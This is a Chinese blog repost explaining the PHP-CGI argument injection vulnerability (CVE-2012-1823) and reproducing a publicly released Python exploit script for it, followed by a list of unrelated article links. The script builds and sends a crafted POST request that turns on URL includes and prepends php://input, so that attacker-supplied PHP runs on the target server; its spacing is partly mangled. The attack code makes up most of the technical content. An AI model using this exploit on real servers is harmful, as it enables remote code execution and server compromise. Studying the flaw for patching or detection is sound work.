博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
PHP-CGI漏洞成因原理剖析和利用
阅读量:4364 次
发布时间:2019-06-07

本文共 1442 字,大约阅读时间需要 4 分钟。

PHP-CGI漏洞成因原理剖析和利用

 PHPCGI漏洞最早由国外安全研究者于近日公开,其实际存在的时间则长达约8年之久。据360网站安全工程师介绍,该漏洞是用户将HTTP请求参数提交至Apache服务器,通过mod_cgi模块交给后端的php-cgi处理,但在执行过程中部分字符没有得到处理,比如空格、等号(=)、减号(-)等。利用这些字符,攻击者可以向后端的php-cgi解析程序提交恶意数据,php-cgi会将这段“数据”当做php参数直接执行,目前截获到的攻击主要利用以下PHP参数:

包含本地文件读取内容:

读取PHP源码:

直接执行任意命令:

  通过远程包含直接在服务器上执行webshell:

国外公开的测试代码:

 
######################################################################################
 
# Exploit Title: Cve-2012-1823 PHP CGI Argument Injection Exploit
# Date: May 4, 2012
# Author: rayh4c[0x40]80sec[0x2e]com
# Exploit Discovered by wofeiwo[0x40]80sec[0x2e]com
######################################################################################
 
importsocket
importsys
 
defcgi_exploit():
        pwn_code ="""<? phpinfo();?>"""
        post_Length =len(pwn_code)
        http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
 
%s
"""%(HOST , post_Length ,pwn_code)
        printhttp_raw
        try:
            sock =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((HOST, int(PORT)))
            sock.send(http_raw)
            data =sock.recv(10000)
            printrepr(data)
            sock.close()
        exceptsocket.error, msg:
            sys.stderr.write("[ERROR] %s\n"%msg[1])
            sys.exit(1)
               
if__name__ =='__main__':
        try:
            HOST =sys.argv[1]
            PORT =sys.argv[2]
            cgi_exploit()
        exceptIndexError:
            print'[+]Usage: cgi_test.py site.com 80'
            sys.exit(-1)

转载于:https://www.cnblogs.com/rockee/archive/2012/05/23/2514227.html

你可能感兴趣的文章
学到的一种把数据集序列化为本地文件的方法
查看>>
Hadoop部署配置文件
查看>>
阿里云-域名免费申请ssl证书过程
查看>>
android studio 2.2 使用cmake编译NDK
查看>>
解决Fragment中使用ViewPager时,ViewPager里的Fragment错位和空白问题
查看>>
Android SurfaceView实战 打造抽奖转盘
查看>>
SQL查询原理及执行顺序
查看>>
浅拷贝深拷贝Python对象的拷贝
查看>>
列表代码我的第一个封装js代码-----展开收起效果
查看>>
5_4学生类
查看>>
利用cv与matplotlib.pyplot读图片与显示图片
查看>>
算法——(转)动态规划入门
查看>>
webpack 的sass-loader打包出错问题,提示 Module not found: Error: Can't resolve '*.css' 的问题...
查看>>
HDOJ---2066 一个人的旅行[Dijkstra算法]
查看>>
35个jQuery小技巧!
查看>>
20140308 std::fill
查看>>
【题解】大床Nim (2019,5.23)
查看>>
[考试反思]0818NOIP模拟测试25:清心
查看>>
常用类string的用法
查看>>
语句- for () 循环语句-迭代法
查看>>